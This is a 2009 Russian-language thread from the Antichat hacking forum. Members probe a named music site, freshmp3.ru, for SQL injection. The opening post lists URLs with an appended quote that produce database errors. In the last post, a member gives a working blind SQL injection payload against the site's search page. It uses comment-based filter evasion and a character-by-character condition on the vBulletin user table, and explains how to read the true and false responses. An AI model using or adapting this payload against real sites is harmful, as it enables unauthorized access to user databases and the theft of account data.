ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Недоинджект !!!
  #1  
Старый 06.06.2009, 20:33
Аватар для ReduKToR
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
Провел на форуме:
3281634

Репутация: 485


Отправить сообщение для ReduKToR с помощью ICQ
Post Недоинджект !!!

корочь проходился по форуму,случайно поставил ковычку....и фот что вышло

Цитата:
http://freshmp3.ru/showthread.php?t=137679'
Цитата:
http://freshmp3.ru/forumdisplay.php?f=9'
Цитата:
http://forum.freshmp3.ru/announcement.php?f=19'&announcementid=3'
Цитата:
http://forum.freshmp3.ru/search.php?searchid=2364696'&photoplog_searchinfo= 1'
собственно я в шоке, кто что скажет по этому сабжу?
 
Ответить с цитированием

  #2  
Старый 06.06.2009, 20:35
Аватар для ReduKToR
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
Провел на форуме:
3281634

Репутация: 485


Отправить сообщение для ReduKToR с помощью ICQ
По умолчанию

тупая фильтрация? можно чтонить полезное извлечь?
 
Ответить с цитированием

  #3  
Старый 06.06.2009, 20:42
Аватар для ReduKToR
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
Провел на форуме:
3281634

Репутация: 485


Отправить сообщение для ReduKToR с помощью ICQ
По умолчанию

как видно по сайту, ктото пользуется F5 ))) сайт ели дышыт...
Ы
 
Ответить с цитированием

  #4  
Старый 06.06.2009, 20:50
Аватар для gLuk!
gLuk!
Познающий
Регистрация: 28.03.2009
Сообщений: 30
Провел на форуме:
453605

Репутация: 1
По умолчанию

ничего полезного не извлечь
 
Ответить с цитированием

  #5  
Старый 06.06.2009, 20:57
Аватар для DDoSька
DDoSька
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
Провел на форуме:
2375039

Репутация: 1160
Отправить сообщение для DDoSька с помощью ICQ
По умолчанию

Все нормально. Это специальная защита, чтобы кульхацкер ломал дня 2 голову ...
 
Ответить с цитированием

  #6  
Старый 06.06.2009, 21:02
Аватар для ReduKToR
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
Провел на форуме:
3281634

Репутация: 485


Отправить сообщение для ReduKToR с помощью ICQ
По умолчанию

DDoSька,да? а ты перейди и F5 зажми =)

плохая защита
 
Ответить с цитированием

  #7  
Старый 06.06.2009, 21:26
Аватар для l-l00K
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме:
13395217

Репутация: 2097
По умолчанию

Слепая скуль + фильтрация, вот так можно получать данные:
Код:
http://forum.freshmp3.ru/search.php?searchid=2364696&photoplog_searchinfo=1'/**/and/**/if(53=ord(substring((select/**/5/**/from/**/vb3_user/**/limit/**/0,1),1,1)),(select/**/1/**/from/**/information_schema.columns),'')/**/and/**/1='1
В случае true будет выдавать ошибку, в случае false страницу форума

Последний раз редактировалось l-l00K; 06.06.2009 в 21:29..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ